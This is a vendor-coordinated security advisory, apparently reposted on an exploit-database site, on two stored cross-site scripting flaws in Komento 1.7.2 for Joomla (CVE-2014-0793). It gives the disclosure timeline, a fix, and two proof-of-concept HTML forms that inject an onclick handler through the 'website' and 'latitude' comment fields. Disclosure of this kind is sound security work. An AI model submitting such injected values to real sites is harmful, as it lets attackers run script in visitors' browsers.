[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Joomla Komento 1.7.2 Cross Site Scripting Vulnerability

Author
High-Tech Bridge
Risk
[
Security Risk Medium
]
0day-ID
0day-ID-21800
Category
web applications
Date add
24-01-2014
CVE
CVE-2014-0793
Platform
php
Product: Komento Joomla Extension
Vendor: Stack Ideas Sdn Bhd.
Vulnerable Version(s): 1.7.2 and probably prior
Tested Version: 1.7.2
Advisory Publication:  January 2, 2014  [without technical details]
Vendor Notification: January 2, 2014 
Vendor Patch: January 2, 2014 
Public Disclosure: January 23, 2014 
Vulnerability Type: Cross-Site Scripting [CWE-79]
CVE Reference: CVE-2014-0793
Risk Level: Medium 
CVSSv2 Base Score: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered two XSS vulnerabilities in Komento Joomla Extension, which can be exploited to perform script insertion attacks.


1) Cross-Site Scripting (XSS) in Komento Joomla Extension: CVE-2014-0793

1.1 The vulnerability exists due to insufficient sanitisation of user-supplied data passed via the "website" HTTP POST parameter to "/?option=com_komento" URL. A remote attacker can submit a comment with specially crafted "Website" field and execute arbitrary HTML and script code in browser in context of the vulnerable website when a user clicks on the nickname of the malicious author.

The following exploitation example uses the "alert()" JavaScript function to display word "immuniweb" when user clicks on the attacker's nickname in comment:

<form action="http://[host]/?option=com_komento" method="post" name="main">
<input type="hidden" name="tmpl"    value="component">
<input type="hidden" name="format"  value="ajax"> <input type="hidden" name="no_html" value="1"> <input type="hidden" name="component"  value="com_content"> <input type="hidden" name="cid"  value="24"> <input type="hidden" name="comment"  value="comment"> <input type="hidden" name="parent_id"  value="0"> <input type="hidden" name="name"  value="name"> <input type="hidden" name="email"  value="email@email.com"> <input type="hidden" name="website"  value='http://www.htbridge.com" 
onclick="javascript:alert(/immuniweb/);"'>
<input type="hidden" name="subscribe"  value="false"> <input type="hidden" name="latitude"  value=''>
<input type="hidden" name="longitude"  value="1"> <input type="hidden" name="address"  value="1"> <input type="hidden" name="contentLink" value="http://joomla/"> <input type="hidden" name="pageItemId"  value="435"> <input type="hidden" name="option"  value="com_komento"> <input type="hidden" name="namespace" value="site.views.komento.addcomment">
<input type="hidden" name="4873559e1d03545682ae270bf7b0c8ec" value="1"> <input type="submit" id="btn"> </form>


1.2 The vulnerability exists due to insufficient sanitisation of user-supplied data passed via the "latitude" HTTP POST parameter to "/?option=com_komento" URL. A remote attacker can submit a comment with specially crafted "latitude" field and execute arbitrary HTML and script code in browser in context of the vulnerable website when a user clicks on the address of the malicious author.

The following exploitation example uses the "alert()" JavaScript function to display word "immuniweb" when user clicks on the attacker's address in comment:

<form action="http://[host]/?option=com_komento" method="post" name="main">
<input type="hidden" name="tmpl"    value="component">
<input type="hidden" name="format"  value="ajax"> <input type="hidden" name="no_html" value="1"> <input type="hidden" name="component"  value="com_content"> <input type="hidden" name="cid"  value="24"> <input type="hidden" name="comment"  value="comment"> <input type="hidden" name="parent_id"  value="0"> <input type="hidden" name="name"  value="name"> <input type="hidden" name="email"  value="email@email.com"> <input type="hidden" name="website"  value='www.htbridge.com'>
<input type="hidden" name="subscribe"  value="false"> <input type="hidden" name="latitude"  value='" 
onclick="javascript:alert(/imuniweb/);">'>
<input type="hidden" name="longitude"  value="1"> <input type="hidden" name="address"  value="1"> <input type="hidden" name="contentLink" value="http://joomla/"> <input type="hidden" name="pageItemId"  value="435"> <input type="hidden" name="option"  value="com_komento"> <input type="hidden" name="namespace" value="site.views.komento.addcomment">
<input type="hidden" name="4873559e1d03545682ae270bf7b0c8ec" value="1"> <input type="submit" id="btn"> </form>


-----------------------------------------------------------------------------------------------

Solution:

Update to Komento 1.7.3

More Informaion:
http://stackideas.com/downloads/changelog/komento

#  0day.today [2024-11-16]  #